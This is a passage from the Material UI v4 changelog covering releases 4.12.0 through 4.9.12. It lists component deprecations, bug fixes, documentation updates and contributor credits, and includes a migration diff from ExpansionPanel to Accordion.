[theme] Deprecate theme.mixins.gutters (#22245) @joshwooding\n- [theme] Deprecate fade color utility in favor of alpha (#22837) @mnajdova\n- [theme] Deprecate createMuiTheme (#26004) @m4theushw\n- [theme] Add warning for theme.typography.round deprecation (#25916) @m4theushw\n- [theme] Add warning for theme.breakpoints.width deprecation (#25993) @m4theushw\n\n### @material-ui/system@4.12.0\n\n- [Box] Deprecate `css` prop in favor of `sx` prop (#23480) @mnajdova\n\n### Docs\n\n- [blog] Michał Dudak joins Material UI (#26700)\n- [blog] Siriwat Kunaporn joins Material UI (#26329) @oliviertassinari\n- [docs] Add gold sponsor (#26968)\n- [docs] Add v5 banner (#27070)\n- [docs] Fix 404 link (Evergreen Box) (#26430) @k-utsumi\n- [docs] Prepare for data grid auto-generated docs (#26477) @m4theushw\n- [docs] Update typography.md to non-deprecated fontsource (#26082) @kiwimahk\n\n### Core\n\n- [test] Deprecate test-utils (#24099) @eps1lon\n\n## 4.11.4\n\n<!-- generated comparing v4.11.3..master -->\n\n_Apr 27, 2021_\n\nA big thanks to the 6 contributors who made this release possible. Here are some highlights ✨:\n\nWe fixed an issue related to some packages using incompatible versions of `@material-ui/types`. This affected `@material-ui/core`, `@material-ui/lab`, and `@material-ui/styles`\n`@material-ui/types@5.1.7 accidentally included a breaking change.\n\n### @material-ui/core@4.11.4\n\n- <!-- 13 --> [Avatar] Remove circular variant deprecation (#25543) @michal-perlakowski\n- <!-- 22 --> [types] Ensure Omit type exists (#25978) @eps1lon\n\n### Docs\n\n- <!-- 21 --> [DataGrid] Update docs sections (#25980) @dtassone\n- <!-- 20 --> [docs] Sync master redirections with next @oliviertassinari\n- <!-- 19 --> [docs] Fix deploy @oliviertassinari\n- <!-- 18 --> [docs] Move DataGrid editing nav link (#25769) @dtassone\n- <!-- 11 --> [docs] Design is what matters @oliviertassinari\n- <!-- 10 --> [docs] Add the new demo page (#25285) @DanailH\n- <!-- 09 --> [docs] Add a temporary hiring block in the docs (#25111) @oliviertassinari\n- <!-- 05 --> [docs] Remove under construction icons from DataGrid feature pages (#24946) @DanailH\n- <!-- 03 --> [docs] Add HoodieBees to sponsors (#24735) @mbrookes\n- <!-- 02 --> [docs] Add sorting section (#24637) @dtassone\n- <!-- 01 --> [docs] v4 is not under active development @oliviertassinari\n\n### Core\n\n- <!-- 17 --> remove job ad @oliviertassinari\n- <!-- 07 --> clearer header @oliviertassinari\n- <!-- 16 --> [blog] Fix typos @oliviertassinari\n- <!-- 12 --> [core] Update the codesandbox issue templates (#25501) @oliviertassinari\n- <!-- 04 --> [core] Support /r/issue-template back (#24870) @oliviertassinari\n- <!-- 15 --> [website] Q1 2021 Update (#25591) @oliviertassinari\n- <!-- 14 --> [website] Matheus Wichman joins Material UI (#25590) @oliviertassinari\n- <!-- 08 --> [website] Fix 404 page @oliviertassinari\n- <!-- 06 --> [website] Update Careers page (#24948) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @DanailH, @dtassone, @eps1lon, @mbrookes, @michal-perlakowski, @oliviertassinari\n\n## UNRELEASED - 4.12.0\n\nThis release is intended to help prepare the migration to Material UI v5 ⏫:\n\n- 📚 Start to add deprecations in anticipation of v5. We plan to add a deprecation for any breaking change in v5 that allows it. Each warning comes with a simple message that explains how to handle the deprecation. If no warnings are reported in the console, you are set for this first batch.\n  Please report issues with the deprecations on [#22074](https://github.com/mui/material-ui/issues/22074) (wrong instructions, false-positives, floods in the console, etc.).\n\nYou can expect similar releases like this one in the coming months.\n\n### `@material-ui/core@v4.12.0`\n\n#### Deprecations\n\n- [theme] Deprecate `fade()` color utility in favor of `alpha()` (#22837) @mnajdova\n- [theme] Deprecate theme.mixins.gutters (#22245) @joshwooding\n- [Avatar] Add circular variant (#22090) @eps1lon\n- [Badge] Add overlap circular and rectangular (#22076) @eps1lon\n- [Box] Deprecate `css` prop in favor of `sx` prop (#23480) @mnajdova\n- [CircularProgress] Backport simplified determinate style & deprecate static (#22094) @mbrookes\n- [Dialog] Deprecate the transition onX props (#22114) @mbrookes\n- [GridList] Rename to ImageList & add deprecation warnings (#22363) @mbrookes\n- [Menu] Deprecate transition onX props (#22213) @mbrookes\n- [Popover] Deprecate transition onX props (#22202) @mbrookes\n- [Snackbar] Deprecate transition onX props (#22206) @mbrookes\n\n## 4.11.3\n\n_Jan 24, 2021_\n\nThis release fixes an important issue with Chrome 88. The usage of NaN as a CSS property with JSS throws an exception.\n\n### `@material-ui/core@v4.11.3`\n\n- [styles] Upgrade jss to 10.5.1 (#24570) @oliviertassinari\n\n### `@material-ui/styles@v4.11.3`\n\n- [styles] Upgrade jss to 10.5.1 (#24570) @oliviertassinari\n\n### `@material-ui/system@v4.11.3`\n\n- [system] Fix handling of null-ish values (#24527) @oliviertassinari\"\n\n### Docs\n\n- [blog] 2020 in review and beyond (#24130) @oliviertassinari\n- [docs] Add ELEVATOR to backers (#23977) @mbrookes\n- [docs] Add ESLint rule to docs (#23843) @jens-ox\n- [docs] Add notification for Adobe XD design assets (#23979) @mbrookes\n- [docs] Allow codesandbox deploy for demos in X (#23644) @oliviertassinari\n- [docs] Fix codesandbox datagrid demo (#24218) @brno32\n- [docs] Improve displayed versions (#24051) @oliviertassinari\n- [docs] Mention Adobe XD (#23978) @oliviertassinari\n- [docs] Sync tranlations (#23981) @l10nbot\n- [docs] Sync translation (#23719) @l10nbot\n- [docs] Sync translations (#23836) @l10nbot\n- [docs] Sync translations (#24039) @l10nbot\n- [docs] Update Divjoy URL (#24447) @mbrookes\n- [docs] Update in-house ads (#24410) @mbrookes\n\n### Core\n\n- [core] Batch small changes (#24224) @oliviertassinari\n\n## 4.11.2\n\n_Dec 2, 2020_\n\nThis release widens the peer dependency scope of React to accept ^17.0.0.\nThe change makes it easier for developers to upgrade React independently from Material UI. The best support for React 17 will be found in Material UI v5.\n\nThis is a reminder that all ongoing work has moved to v5. This means a feature freeze on v4. The development of v4 is limited to important bug fixes, security patches and easing the upgrade path to v5.\n\n### `@material-ui/core@v4.11.2`\n\n- [core] Allow React 17 in peer dependencies (#23697) @oliviertassinari\n\n### `@material-ui/icons@v4.11.2`\n\n- [core] Allow React 17 in peer dependencies (#23697) @oliviertassinari\n\n### `@material-ui/lab@v4.11.2`\n\n- [core] Allow React 17 in peer dependencies (#23697) @oliviertassinari\n\n### `@material-ui/styles@v4.11.2`\n\n- [core] Allow React 17 in peer dependencies (#23697) @oliviertassinari\n\n### `@material-ui/system@v4.11.2`\n\n- [core] Allow React 17 in peer dependencies (#23697) @oliviertassinari\n\n### `@material-ui/utils@v4.11.2`\n\n- [core] Allow React 17 in peer dependencies (#23697) @oliviertassinari\n\n### `@material-ui/lab@v4.0.0-alpha.57`\n\n- [core] Allow React 17 in peer dependencies (#23697) @oliviertassinari\n\n## 4.11.1\n\n_Nov 24, 2020_\n\nA big thanks to the 12 contributors who made this release possible.\n\n- 🐛 Fix integration issue with TypeScript 4.1 (#23692) @ldrick\n- ⚛️ Fix two issues with React 17 (#22263, #23367) @eps1lon\n  v4 doesn't have official support for React 17 like v5 has. Use it at your own risk.\n- 🐛 Fix right-to-left support of Tabs since Chrome 85 (#22830) @ankit\n\n### `@material-ui/core@v4.11.1`\n\n- [styles] Add support for TypeScript 4.1 (#23692) @ldrick\n- [ClickAwayListener] Fix mounting behavior in Portals in React 17 (#23367) @eps1lon\n- [FocusTrap] Prevent possible crash in React 17 (#22263) @eps1lon\n- [Tabs] Fix RTL scrollbar with Chrome 85 (#22830) @ankit\n\n### `@material-ui/styles@v4.11.1`\n\n- [styles] Add support for TypeScript 4.1 (#23692) @ldrick\n\n### Docs\n\n- [blog] Allow to support card preview (#23087) @oliviertassinari\n- [blog] Danail Hadjiatanasov joins Material UI (#23223) @oliviertassinari\n- [blog] New posts (#22607) @oliviertassinari\n- [blog] Q2 2020 Update (#21822) @oliviertassinari\n- [blog] Q3 2020 Update (#23055) @oliviertassinari\n- [docs] Add Backstage to showcase (#22428) @stefanalund\n- [docs] Add Design resources in installation (#22209) @oliviertassinari\n- [docs] Add DoiT diamond sponsor (#22436) @oliviertassinari\n- [docs] Add LightyearVPN to showcase (#22568) @lightyearvpn\n- [docs] Add Material UI Builder to in-house ads (#23342) @mbrookes\n- [docs] Add Octopus diamond sponsor (#22178) @oliviertassinari\n- [docs] Add Spotify to users (#22776) @mbrookes\n- [docs] Add ethicalads.io (#21752) @oliviertassinari\n- [docs] Add live demo with DataGrid (#22697) @oliviertassinari\n- [docs] Add notification about survey @oliviertassinari\n- [docs] Add notification for Material UI for Figma v4.12.0 (#23212) @mbrookes\n- [docs] Add redirection for links published on npm (#22575) @oliviertassinari\n- [docs] Allow to host code in a different repo (#23390) @oliviertassinari\n- [docs] Avoid confusion between layout grid and data grid (#22681) @oliviertassinari\n- [docs] Backport \\_redirect from next @oliviertassinari\n- [docs] Change \"Let Us Know\" button URL (#22521) @mbrookes\n- [docs] Clear the different between table vs data grid right at the start @oliviertassinari\n- [docs] Encourage DataGrid in /components/tables/ over alternatives (#22637) @oliviertassinari\n- [docs] Engage with more Russian users @oliviertassinari\n- [docs] Fix 404 reported by Moz.com @oliviertassinari\n- [docs] Fix codesandbox link @oliviertassinari\n- [docs] Fix static asset loading with X @oliviertassinari\n- [docs] Fix theme.palette.type usage @oliviertassinari\n- [docs] Forward x data-grid (#22400) @oliviertassinari\n- [docs] Improve SEO on titles (#22742) @oliviertassinari\n- [docs] Improve ad display @oliviertassinari\n- [docs] Improve codesandbox generation logic (#22221) @oliviertassinari\n- [docs] Improve export to CodeSandbox (#22346) @oliviertassinari\n- [docs] Improve position in the side nav of DataGrid @oliviertassinari\n- [docs] Include new video on customization @oliviertassinari\n- [docs] Option to disable ads (#22574) @oliviertassinari\n- [docs] Point to the production branch of x @oliviertassinari\n- [docs] Reduce tracking events (#21710) @eps1lon\n- [docs] Remove codefund Ads (#21714) @eps1lon\n- [docs] Remove expansion-panels @oliviertassinari\n- [docs] Remove v5 docs capability @oliviertassinari\n- [docs] Sync translation (#21638, #21751, #21925, #22751, #22850, #22887, #23357) @oliviertassinari\n- [docs] Update homepage quotes (#23326) @mbrookes\n- [docs] Use codesandbox deploy for demos created from deploy previews (#22616) @eps1lon\n- [docs] configuring redirects for MUI X (#22632) @dtassone\n\n### Core\n\n- [core] Remove Alert codeowner @oliviertassinari\n- [core] Small changes (master) (#22022) @oliviertassinari\n- [test] Add skip ci to Crowdin commit message (#22684) @mbrookes\n- [test] Fix CI @oliviertassinari\n- [test] Only run on push for master/next (#22627) @eps1lon\n- [test] Run CircleCI anytime (#22686) @eps1lon\n- [test] Update react next patch (#22393) @eps1lon\n\n## 4.11.0\n\n_July 1, 2020_\n\nA big thanks to the 8 contributors who made this release possible.\n\n### `@material-ui/core@v4.11.0`\n\n- [ExpansionPanel] Prepare renaming to Accordion, add warnings (#21560) @mnajdova\n  It uses a more common naming convention:\n\n  ```diff\n  -import ExpansionPanel from '@material-ui/core/ExpansionPanel';\n  -import ExpansionPanelSummary from '@material-ui/core/ExpansionPanelSummary';\n  -import ExpansionPanelDetails from '@material-ui/core/ExpansionPanelDetails';\n  -import ExpansionPanelActions from '@material-ui/core/ExpansionPanelActions';\n  +import Accordion from '@material-ui/core/Accordion';\n  +import AccordionSummary from '@material-ui/core/AccordionSummary';\n  +import AccordionDetails from '@material-ui/core/AccordionDetails';\n  +import AccordionActions from '@material-ui/core/AccordionActions';\n\n  -<ExpansionPanel>\n  +<Accordion>\n  -  <ExpansionPanelSummary>\n  +  <AccordionSummary>\n      <Typography>Location</Typography>\n      <Typography>Select trip destination</Typography>\n  -  </ExpansionPanelSummary>\n  +  </AccordionSummary>\n  -  <ExpansionPanelDetails>\n  +  <AccordionDetails>\n      <Chip label=\"Barbados\" onDelete={() => {}} />\n      <Typography variant=\"caption\">Select your destination of choice</Typography>\n  -  </ExpansionPanelDetails>\n  +  </AccordionDetails>\n    <Divider />\n  -  <ExpansionPanelActions>\n  +  <AccordionActions>\n      <Button size=\"small\">Cancel</Button>\n      <Button size=\"small\">Save</Button>\n  -  </ExpansionPanelActions>\n  +  </AccordionActions>\n  -</ExpansionPanel>\n  +</Accordion>\n  ```\n\n### Docs\n\n- [blog] Post survey results 2020 (#21555) @mnajdova\n- [docs] Add new gold sponsor @oliviertassinari\n- [docs] CodeFund is shutting down (#21632) @oliviertassinari\n- [docs] Enable next.mui.com sub-domain @oliviertassinari\n- [docs] Fix ad issues @oliviertassinari\n- [docs] Fix version in localized urls (#21442) @tchmnn\n- [docs] Sync translations (#21445) @oliviertassinari\n- [docs] Sync translations (#21535) @oliviertassinari\n\n### Core\n\n- [core] Batch small changes (#21419) @oliviertassinari\n- [core] Fix react next patch and prevent regression (#21482) @eps1lon\n\n## 4.10.2\n\n_June 11, 2020_\n\n⚠️ This release marks the end of the active development on the v4.x versions, after 18 months of development.\nWe are moving all ongoing efforts to v5 (`next` branch) ✨.\nThis means a feature freeze on v4. The development of this version will be limited to important bug fixes, security patches, and easing the upgrade path to v5.\n\nYou can follow our progress on the [v5 milestone](https://github.com/mui/material-ui/milestone/35). We will make the documentation of the v5 alpha releases available under https://next.mui.com/, starting next week (weekly releases, as usual).\n\nA big thanks to the 19 contributors who made this release possible. Here are some highlights ✨:\n\n- Introduce a new Timeline component (#21331) @mnajdova.\n  <img width=\"244\" alt=\"timeline\" src=\"https://user-images.githubusercontent.com/3165635/84400961-ff381900-ac02-11ea-8e5e-beb6c0840fe0.png\">\n  You can find the component in the [lab](https://mui.com/components/timeline/).\n\n- Simplify the theme overrides with TypeScript for the components in the lab (#21279) @CarsonF.\n\n  In order to benefit from the [CSS overrides](/customization/globals/#css) with the theme and the lab components, TypeScript users need to import the following types. Internally, it uses [module augmentation](/guides/typescript/#customization-of-theme) to extend the default theme structure with the extension components available in the lab.\n\n  ```tsx\n  // 1. augment the theme\n  import type '@material-ui/lab/themeAugmentation';\n\n  // 2. override\n  const theme = createMuiTheme({\n    overrides: {\n      MuiTimeline: {\n        root: {\n          backgroundColor: 'red',\n        },\n      },\n    },\n  });\n  ```\n\n- Minify error messages in production (#21214) @eps1lon.\n\n  Using the [React error decoder](https://react.dev/errors) as inspiration, the exceptions thrown by Material UI in production are now minified.\n  You will be redirected to the documentation to [decode the error](https://mui.com/production-error/?code=4&args%5B%5D=500).\n\n### `@material-ui/core@v4.10.2`\n\n- [Checkbox] Fix custom icon fontSize prop support (#21362) @kn1ves\n- [Dialog] Fix dialog children being announced as clickable (#21285) @eps1lon\n- [Select] Improve native validation, autofill, and testability (#21192) @netochaves\n- [Stepper] Always pass state props to connector (#21370) @baterson\n- [Stepper] Only render label container if a label exists (#21322) @Floriferous\n\n### `@material-ui/lab@v4.0.0-alpha.56`\n\n- [Autocomplete] Fix scroll reset after unselect the only option (#21280) @svikhristyuk\n- [Autocomplete] Prevent default event for disabled options (#21390) @GregoryAndrievskiy\n- [SpeedDial] Improve tooltip work break (#21359) @SugiKent\n- [Timeline] Introduce new component (#21331) @mnajdova\n- [TypeScript] Allow lab components to have overrides in theme (#21279) @CarsonF\n\n### `@material-ui/utils@v4.10.2`\n\n- [core] Minify error messages in production (#21214) @eps1lon\n\n### Docs\n\n- [docs] Add palette TypeScript override example (#21319) @WillSquire\n- [docs] Always consider code as left-to-right (#21386) @eps1lon\n- [docs] Correct the name of a prop in the Table docs (#21384) @fedde-s\n- [docs] Improve CONTRIBUTING.md (#21303) @pedrooa\n- [docs] Improve ad display (#21246) @oliviertassinari\n- [docs] Improve legibility of required star (#21369) @eps1lon\n- [docs] List all the Tab components under the API section (#21241) @emretapci\n- [docs] Move more prop docs into IntelliSense (#21002) @eps1lon\n- [docs] Move more prop docs into IntelliSense (#21368) @eps1lon\n- [docs] Move more prop docs into IntelliSense (#21375) @eps1lon\n- [docs] Sync translations (#21336) @oliviertassinari\n- [docs] Update builderbook.org image in showcase (#21360) @klyburke\n- [docs] Update builderbook.org showcase (#21274) @klyburke\n- [docs] Update minimum TypeScript version to 3.2 (#21197) @NMinhNguyen\n- [docs] Use rem in responsive font sizes chart (#21373) @thewidgetsmith\n\n### Core\n\n- [test] Speed up slow TablePagination tests (#21374) @eps1lon\n- [test] Type-test event handlers on ListItem (#21298) @eps1lon\n- [core] Batch small changes (#21335) @oliviertassinari\n- [core] Don't ship type tests (#21300) @eps1lon\n- [core] Minify error messages in production (#21214) @eps1lon\n- [core] Switch from `$ExpectError` to `@ts-expect-error` (#21308) @eps1lon\n- [core] Use custom \\$ExpectType assertion (#21309) @eps1lon\n\n## 4.10.1\n\n_June 1, 2020_\n\nA big thanks to the 21 contributors who made this release possible.\n\n### `@material-ui/core@v4.10.1`\n\n- [CircularProgress] Fix IE11 wobbling (#21248) @AmirAhrari\n- [l10n] Improve Ukrainian translation (#21239) @goodwin64\n- [LinearProgress] Set aria-valuemin and aria-valuemax (#21195) @eps1lon\n- [List] Add 'alignItemsFlexStart' to ListItemIconClassKey #21256) @YoonjiJang\n- [Slider] Fix missing type definitions (#21244) @konekoya\n- [Stepper] Add focus ripple to StepButton (#21223) @mnajdova\n- [SvgIcon] Add displayName in react-devtools (#21134) @gndplayground\n- [Table] Add React node support to TablePagination.labelRowsPerPage (#21226) @oliviertassinari\n- [TextField] Fix missing autofill events (#21237) @maksimgm\n- [Tooltip] Improve arrow customization (#21203) @mnajdova\n- [Transition] Prevent passing undefined argument to callbacks (#21158) @iamhosseindhv\n\n### `@material-ui/lab@v4.0.0-alpha.55`\n\n- [Autocomplete] Document how to use a 3rd party input (#21257) @maksimgm\n- [Autocomplete] Fix dynamic changes of multiple={boolean} (#21194) @weizhi9958\n- [Autocomplete] Improve getOptionLabel usage warning (#21207) @rhuanbarreto\n- [Skeleton] Improve component (#21255) @oliviertassinari\n- [Skeleton] Improve contrast on light themes (#21122) @eps1lon\n- [Pagination] Fix selected item style (#21252) @svikhristyuk\n\n### Docs\n\n- [docs] Adapt CONTRIBUTING.md for https instead of SSH git clone (#21187) @cjoecker\n- [docs] Add Progress value label examples (#21190) @cjoecker\n- [docs] Document the onClick handler on Button (#21234) @hoop71\n- [docs] English improvements in api.md (#21159) @dandv\n- [docs] Fix typo in default palette value (#21243) @dbgb\n- [docs] Fix typo, principals -> principles (#21160) @dandv\n- [docs] Improve ad display (#21219) @oliviertassinari\n- [docs] Mention laying out radio buttons horizontally (#21186) @dandv\n- [docs] Replace typefaces with fontsource (#21153) @DecliningLotus\n- [docs] Simplify CONTRIBUTING.md (#21196) @NMinhNguyen\n- [docs] Small grammar fix (#21161) @dandv\n- [docs] Sync translations (#21275) @oliviertassinari\n- [docs] Track pixel ratio (#21209) @eps1lon\n\n### Core\n\n- [FocusTrap] Make an unstable version public (#21201) @dmtrKovalenko\n- [test] Track size of `@material-ui/utils` (#21240) @eps1lon\n- [core] Batch small changes (#21156) @oliviertassinari\n- [core] Batch small changes (#21249) @oliviertassinari\n\n## 4.10.0\n\n_May 23, 2020_\n\nA big thanks to the 30 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- 🦴 Allow Skeleton to infer its dimensions from the children (#21097) @mikew.\n  In the following example, the skeleton will take the size of the avatar.\n\n  ```jsx\n  <Skeleton>\n    <Avatar />\n  </Skeleton>\n  ```\n\n  Follow [the docs to learn more](https://mui.com/components/skeleton/#inferring-dimensions).\n\n- ♿️ Add tabs accessibility docs section (#20965) @eps1lon.\n  The behavior of the [keyboard navigation](https://mui.com/components/tabs/#keyboard-navigation) can be customized with the `selectionFollowsFocus` prop.\n- ℹ Improve tooltip arrow customizability (#21095) @sakulstra.\n  The arrow background color and border can now be customized independently.\n  <img src=\"https://user-images.githubusercontent.com/3165635/82205669-328acf00-9907-11ea-8fa0-f9784ad2b718.png\" width=\"90\" />\n- 🔘 Add vertical support to the ToggleButton component (#21051) @xiaomaini\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.10.0`\n\n- [AppBar] Fix z-index issue on Firefox (#21063) @pedrooa\n- [Avatar] Fix group positioning (#21141) @CarsonF\n- [Button] Fix disableFocusRipple prop description (#21116) @umairfarooq44\n- [CircularProgress] Improve custom bar demo (#21005) @id0Sch\n- [l10n] Add new keys to Finnish (fi-FI) locale (#21087) @SampsaKaskela\n- [l10n] Prepare iteration on number formatting (#20656) @oliviertassinari\n- [Popper] Remove duplicate handleOpen call from effect (#21106) @inomdzhon\n- [Select] Fix possible crash when clicking on the label (#21047) @eps1lon\n- [Slide] Fix double negation in CSS translate (#21115) @scristall\n- [Snackbar] Explain how to place the snackbar (#21052) @dandv\n- [Snackbar] Fix double click issue on demos (#21059) @joshwooding\n- [Tabs] Add a11y docs section (#20965) @eps1lon\n- [theme] Fix types, reject undefined coefficient in darken, lighten (#21006) @dellink\n- [Tooltip] Add PopperComponent prop (#21039) @joshwooding\n- [Tooltip] Improve arrow customizability (#21095) @sakulstra\n\n### `@material-ui/styles@v4.10.0`\n\n- [styles] Increase counter only for non global styles (#21003) @jantimon\n\n### `@material-ui/lab@v4.0.0-alpha.54`\n\n- [Autocomplete] Improve value type inference (#20949) @kanoshin\n- [Autocomplete] Fix autoHighlight for dynamic options (#21090) @mstykow\n- [Autocomplete] Fix iOS double tap (#21060) @kaplantm\n- [Pagination] Document difference with TablePagination (#21107) @hoop71\n- [Skeleton] Allow children to influence width and height (#21097) @mikew\n- [Skeleton] Reduce SkeletonChildren test flakiness (#21121) @eps1lon\n- [TabPanel] Allow flow content (#21017) @eps1lon\n- [ToggleButton] Add orientation prop (#21051) @xiaomaini\n- [TreeView] Add test for undesired behavior (#21043) @eps1lon\n\n### Docs\n\n- [docs] Add CssBaseline to auto dark mode example (#21094) @fantasyui-com\n- [docs] Add new Twitter quotes to the homepage (#21061) @mbrookes\n- [docs] Fix anchor link to using inline vs. classes (#21151) @dandv\n- [docs] Fix autocomplete attributes (#21138) @socsieng\n- [docs] Fix typo in Modal accessibility description (#21062) @arthur-melo\n- [docs] Improve mui-treasury integration (#21054) @siriwatknp\n- [docs] Improve text based sizing for larger font scales (#21131) @eps1lon\n- [docs] Keep the same header between locales (#21041) @jaironalves\n- [docs] Minor fixes in theming, link to Context (#21149) @dandv\n- [docs] Recommend no-restricted-imports to catch treeshake issues (#21035) @eps1lon\n- [docs] Reduce confusion around higher order component (#21056) @ravshansbox\n- [docs] Show font smoothing override (#21057) @mattstobbs\n- [docs] Sort ways to support MUI; clarify clsx (#21150) @dandv\n- [docs] Sync translations (#21155) @oliviertassinari\n\n### Core\n\n- [core] Add issue template for material design issues (#21120) @eps1lon\n- [core] Batch small changes (#20980) @oliviertassinari\n- [core] Explicitly declare children (#21014) @eps1lon\n- [core] Narrow type definition for useControlled hook (#21027) @EdwardSalter\n- [core] Small changes (#21064) @oliviertassinari\n- [Security] Bump handlebars from 4.5.3 to 4.7.6 (#21033) @dependabot-preview\n- [test] Fix react next patch (#21109) @eps1lon\n- [test] Improve isolation of tests using mount() (#21034) @eps1lon\n- [test] Isolate transition tests (#21032) @eps1lon\n- [test] Migrate some tests to testing-library (#21058) @joshwooding\n\n## 4.9.14\n\n_May 11, 2020_\n\nA big thanks to the 19 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- 🗂 An experimental extension of the Tab API (#20806) @eps1lon.\n- ⚛️ An improved version of unstable strict mode support (#20952, #20985) @eps1lon @DrewVartanian.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.9.14`\n\n- [l10n] Add Hindi (hi-IN) locale (#20916) @chandan-singh\n- [Popper] Fix keepMounted visibility (#20937) @weslenng\n- [Select] Focus labeled element on click (#20833) @qkdreyer\n- [Slider] Fix center label in IE11 (#20942) @Uneetpatel7\n- [Tabs] Add `selectionFollowsFocus` (#20936) @eps1lon\n- [Tabs] Forward aria-label\\* attributes to tablist (#20986) @eps1lon\n- [TextField] Fix typography inheritance issue (#20908) @esseswann\n- [theme] Fix missing args to createMuiStrictModeTheme (#20985) @DrewVartanian\n- [theme] Add support #rrggbbaa pattern in hexToRgb function (#20931) @dellink\n- [theme] Fix override breakpoints (#20901) @JasonHK\n- [Tooltip] Fix arrow placement overlap (#20900) @esseswann\n\n### `@material-ui/styles@v4.9.14`\n\n- [styles] Return simpler type from ComponentCreator (#20854) @vlazh\n\n### `@material-ui/system@v4.9.14`\n\n- [system] Add csstype as dependency to material-ui-system (#20922) @govizlora\n\n### `@material-ui/lab@v4.0.0-alpha.53`\n\n- [Autocomplete] Add new handleHomeEndKeys prop (#20910) @p00000001\n- [Autocomplete] Fix Google Map demo warnings (#20983) @oliviertassinari\n- [Autocomplete] Fix onHighlightChange when filtering (#20923) @marcosvega91\n- [Tabs] Add new experimental Tabs API (#20806) @eps1lon\n- [ToggleButton] Reduce gap with ButtonGroup (#20967) @rehanmohiuddin\n\n### `@material-ui/types@v5.1.0`\n\n- [types] Add OverridableStringUnion helper (#20901) @JasonHK\n\n### Docs\n\n- [docs] Add missing spot do DiamondSponsors (#20958) @eps1lon\n- [docs] Fix leaking lazy stylesheets (#20903) @eps1lon\n- [docs] Label accessibility for native select (#20876) @mkesavan13\n- [docs] Reduce likelihood of overflow in ToC (#20961) @eps1lon\n- [docs] Remove redirection to v0 (#17637) (#20902) @dellink\n- [docs] Sychronize translations (#20982) @oliviertassinari\n\n### Core\n\n- [test] Improve assertion mismatch messages (#20964) @eps1lon\n- [test] Migrate all Table components to testing-library (#20914) @marcosvega91\n- [test] Migrate CircularProgress and Collapse to testing-library (#20789) @marcosvega91\n- [test] Prepare patch for `react@next` (#20966) @eps1lon\n- [test] Use actual element over document.activeElement (#20945) @eps1lon\n- [core] Remove unstable_StrictMode transition components (#20952) @eps1lon\n- [core] Fix typo in internal ScrollbarSize (#20934) @liujiajun\n- [core] Fix typo in test description (#20943) @kunal-mandalia\n\n## 4.9.13\n\n_May 4, 2020_\n\nA big thanks to the 27 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- 💎 A new diamond sponsor: [Sencha](https://sencha.com/), thank you!\n- ⚛️ More tests migrated from enzyme to testing-library @marcosvega91.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.9.13`\n\n- [AvatarGroup] Improve limit display (#20793) @let-aurn\n- [ClickAwayListener] Remove misleading code comment (#20743) @eps1lon\n- [l10n] Improve es-ES locale (#20794) @eloyrubinos\n- [Modal] Should propagate event if disableEscapeKeyDown (#20786) @weslenng\n- [Pagination] Refactor boundaryCount (#20826) @mbrookes\n- [Select] Fix height overflow (#20822) @esseswann\n- [Slider] Fix RTL support (#20851) @weslenng\n- [Tabs] Implement keyboard navigation (#20781) @eps1lon\n- [Tabs] Improve customizability of the scroll buttons (#20783) @netochaves\n- [TextField] Fix caret color in autofill dark theme (#20857) @CarsonF\n- [Tooltip] Fix disableTouchListener behavior (#20807) @weslenng\n- [FocusTrap] Guard against dropped memo cache (#20848) @eps1lon\n\n### `@material-ui/styles@v4.9.13`\n\n- [styles] Fix wording in indexCounter comment (#20874) @iamclaytonray\n- [styles] Improve component props inference of styled (#20830) @vlazh\n\n### `@material-ui/system@v4.9.13`\n\n- [system] Improve breakpoints types (#20753) @nodeTempest\n\n### `@material-ui/lab@v4.0.0-alpha.52`\n\n- [Autocomplete] Display loading feedback with freeSolo (#20869) @weslenng\n- [Autocomplete] Fix support for limitTags={0} (#20850) @tykdn\n- [Skeleton] Fix z-index elevation issue (#20803) @luminaxster\n- [SpeedDial] Fix direct dependency on react-transition-group (#20847) @squirly\n- [TreeView] Add onIconClick and onLabelClick (#20657) @tonyhallett\n\n### Docs\n\n- [sponsors] Add diamond Sencha (#20875) @oliviertassinari\n- [docs] Add collapsible table demo (#19795) @LorenzHenk\n- [docs] Fix \"Find the source\" link in localization.md (#20791) @ValentinH\n- [docs] Fix emojis/html being included in toc (#20841) @eps1lon\n- [docs] Fix groups name in autocomplete virtualization example (#20898) @Uneetpatel7\n- [docs] Fix header and row shift on pagination click (#20873) @ankitasingh170190\n- [docs] Fix incorrect signature of createStyles (#20866) @eps1lon\n- [docs] Fix table zebra customization demo (#20870) @rkrueger11\n- [docs] Fix typo in Select type definitions (#20817) @qkdreyer\n- [docs] Implement keyboard navigation for demo toolbar (#20798) @eps1lon\n- [docs] Improve svgr documentation (#20893) @tavantzo\n- [docs] Make CSS interoperability examples easier to use (#20860) @weisk\n- [docs] Use mathematical interval notation for breakpoints (#20843) @eps1lon\n- [examples] Add next.js SSG clarification comment (#20810) @sospedra\n\n### Core\n\n- [test] Migrate colorManipulator from assert to expect (#20792) @marcosvega91\n- [test] Migrate from assert to expect (#20799) @oliviertassinari\n- [test] Replace all assert with expect (#20853) @marcosvega91\n- [core] Batch small changes (#20823) @oliviertassinari\n- [core] Batch small changes (#20877) @oliviertassinari\n\n## 4.9.12\n\n_Apr 27, 2020_\n\nA big thanks to the 32 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- ⚛️ A first module written in TypeScript (#20685) @eps1lon.\n- 🇧🇷 A documentation fully translated in Brazilian (@jaironalves).\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.9.12`\n\n- [ButtonBase] Fix ripple size when clientX or clientY is 0 (#20654) @jin60641\n- [ButtonGroup] Add disableElevation prop (#20747) @Andrew5569\n- [ClickAwayListener] Fix support of leading edge (#20647) @oliviertassinari\n- [ExpansionPanel] Increase contrast for focus state (#20720) @petermikitsh\n- [l10n] Document how far Material UI should go (#20737) @eloyrubinos\n- [l10n] Improve az-AZ locale (#20659) @rommelmamedov\n- [l10n] Improve bg-BG locale (#20668) @panayotoff\n- [l10n] Improve cs-CZ locale (#20670) @char0n\n- [l10n] Improve de-DE locale (#20684) @eps1lon\n- [l10n] Improve et-EE locale (#20682) @villuv\n- [l10n] Improve hu-HU locale (#20658) @vgaborabs\n- [l10n] Improve 